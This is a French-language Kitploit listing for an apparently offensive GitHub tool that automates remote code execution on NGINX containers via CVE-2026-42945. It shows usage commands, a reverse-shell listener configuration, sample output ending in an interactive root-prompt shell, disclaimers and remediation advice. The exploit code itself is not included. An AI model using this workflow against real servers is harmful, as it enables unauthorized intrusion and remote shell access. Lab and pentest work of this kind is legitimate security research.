Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42945_NginxRift — Automatise l'exploitation de CVE-2026-42945 dans les conteneurs NGINX : vérifie les cibles vulnérables, procède à une force brute sur les offsets du tas, exécute des commandes et ouvre un reverse shell interactif. | Kitploit
Outils/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionRed TeamingExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
kentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

Automatise l'exploitation de CVE-2026-42945 dans les conteneurs NGINX : vérifie les cibles vulnérables, procède à une force brute sur les offsets du tas, exécute des commandes et ouvre un reverse shell interactif.

Voir le dépôt
19il y a 27 joursPas encore vérifié

🚀 Automatisation du PoC NGINX Rift — CVE-2026-42945

Pilote d'automatisation de PoC pour l'exploitation RCE du conteneur nginx-rift · Vérification de la cible → Exploit en une commande → Reverse shell interactif

Shell Python Platform License

Une seule commande orchestre tout le déroulement de l'exploit — de la vérification du conteneur jusqu'à l'obtention d'un shell.


⚠️ Avertissement éthique et légal Cet outil est uniquement destiné à des tests de sécurité légitimes et autorisés — pentest contractuel, lab/CTF ou actifs vous appartenant. Toute utilisation sans l'autorisation du propriétaire du système est une infraction pénale (UU ITE, Computer Fraud and Abuse Act, etc.). L'utilisateur assume l'entière responsabilité de son usage.


📖 Résumé de la vulnérabilité

CVE-2026-42945 est une vulnérabilité Remote Code Execution (RCE) dans la configuration NGINX « Rift » — un bug heap-based buffer overflow dans le module ngx_http_rewrite_module déclenché via un bloc location spécifique (/api/users/...). L'impact permet à un attaquant d'exécuter des commandes via le handler system() dans le conteneur.

Ce dépôt contient 2 composants :

FichierFonction
poc.pyPilote d'exploit — brute-force de l'offset heap, deux modes : --cmd (commande unique) et --shell (reverse shell)
scan.sh

🏗 Flux de travail

root@kitploit:~
┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ Prérequis système

Opérateur (hôte où le script est exécuté) :

  • Linux (bash) — testé sur Kali / Ubuntu / Debian
  • docker (avec sudo ou utilisateur dans le groupe docker)
  • python3 + poc.py (dans le même répertoire que scan.sh)
  • curl, nc (netcat), timeout (coreutils)

Cible (lab) :

  • Conteneur nginx-rift démarré (provisionnement via docker compose)
  • Port hôte 19321 ouvert sur 127.0.0.1
  • Conteneur connecté au bridge Docker (par défaut 172.17.0.1 pour le listener de l'hôte)

📥 Installation

root@kitploit:~
# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh et poc.py doivent se trouver dans le même répertoire.


🚀 Utilisation

root@kitploit:~
./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Mode auto (par défaut)

  1. Preflight — vérification de toutes les dépendances.
  2. Vérification de la cible — conteneur démarré ? HTTP 200 ?
  3. PoC --cmd — écriture du marqueur hello from depthfirst dans /tmp/pwned dans le conteneur (nouvelle tentative automatique max 3×, timeout 300s/essai).
  4. Vérification du résultat — docker exec cat /tmp/pwned doit contenir le marqueur (ground-truth, pas simplement la lecture de la sortie).
  5. Invite passer au reverse shell ? → y pour une session interactive.

Mode shell

root@kitploit:~
./scan.sh shell

Exécute poc.py --shell avec un listener sur 172.17.0.1:1337. Une fois le brute-force réussi, vous obtenez une invite /bin/sh interactive en tant qu'utilisateur worker NGINX dans le conteneur.

Remarque : l'IP 172.17.0.1 est l'adresse de l'hôte sur le bridge Docker par défaut. Si votre bridge est différent (docker network inspect bridge), modifiez la variable LISTEN_IP en haut de scan.sh.


🔧 Configuration modifiable

Tous les paramètres sont regroupés dans le bloc de configuration en haut de scan.sh :


📸 Exemple de sortie

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 Dépannage


🛡 Remédiation (pour la Blue Team)

  1. Patcher NGINX — mettre à niveau vers une version corrigeant ngx_http_rewrite_module / supprimer la configuration Rift.
  2. Limiter l'exposition — ne pas exposer le port du conteneur sur 0.0.0.0 ; utiliser un réseau interne + reverse proxy avec WAF.
  3. Moindre privilège — exécuter le worker NGINX sans privilèges supplémentaires ; ne pas lancer le conteneur avec --privileged.
  4. Monitoring — alerter sur les requêtes anormales vers /api/users/ (motifs non numériques, payloads longs), détecter le spawn de /bin/sh depuis le processus nginx.
  5. Segmentation réseau — séparer le bridge du conteneur de l'hôte ; limiter l'egress du conteneur pour rendre le reverse shell plus difficile.

📁 Structure du dépôt

root@kitploit:~
CVE-2026-42945_NginxRift/
├── scan.sh     # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py      # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md   # Dokumentasi ini

⚖️ Avertissement et licence

Uniquement pour un usage légitime. Cet outil est destiné à :

  • Tests d'intrusion professionnels (contrat écrit)
  • Recherche en sécurité et divulgation responsable (responsible disclosure)
  • Environnements lab / CTF

Vous devez obtenir une autorisation écrite du propriétaire du système avant d'exécuter cet outil sur toute infrastructure.

Le dépôt est fourni « tel quel », sans aucune garantie. Les contributeurs déclinent toute responsabilité en cas d'utilisation abusive.

Licence : MIT


📚 Références

  • CVE-2026-42945 — NVD / MITRE
  • NGINX ngx_http_rewrite_module — documentation officielle
  • Docker Compose — documentation
Télécharger l’outil
ÉlémentDétail
CVECVE-2026-42945
TypeRemote Code Execution (RCE)
ComposantNGINX (ngx_http_rewrite_module) — configuration « Rift »
DéclencheurRequête vers le bloc location vulnérable (/api/users/{id})
ImpactExécution de commandes arbitraires en tant qu'utilisateur worker NGINX dans le conteneur
Environnement de labConteneur nginx-rift-nginx-1 — port hôte 19321
Orchestrateur d'automatisation — vérification de la cible, exécution du PoC, vérification des résultats et session shell interactive
VariableDéfautFonction
DOCKERsudo dockerRemplacer docker si l'utilisateur est déjà dans le groupe docker
PROJECT_LABELcom.docker.compose.project=nginx-riftFiltre d'identification du conteneur
CONTAINERnginx-rift-nginx-1Nom du conteneur cible
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321Adresse cible
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337Listener du reverse shell
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirstVérification de l'exécution
CMD_TIMEOUT300Temps limite par essai (secondes)
MAX_ATTEMPTS3Nombre de nouvelles tentatives du PoC --cmd
ProblèmeSolution
Container ... tidak berjalancd <project-dir> && sudo docker compose up -d, puis réessayez
HTTP 000 / connection refusedLe port 19321 n'est pas encore prêt — attendez quelques secondes, vérifiez docker ps
File 'poc.py' tidak ditemukanExécutez scan.sh depuis le répertoire du dépôt (poc.py doit être dans le même répertoire)
PoC --cmd gagal terus (3×)Augmentez MAX_ATTEMPTS / CMD_TIMEOUT ; assurez-vous que le kernel et la version de NGINX correspondent au lab
Reverse shell tidak konekVérifiez que LISTEN_IP correspond au bridge (docker network inspect bridge) ; assurez-vous que le port 1337 n'est pas utilisé
Error unrecognized argumentsAssurez-vous que la version de poc.py prend en charge les flags --listen-ip/--listen-port (voir python3 poc.py -h)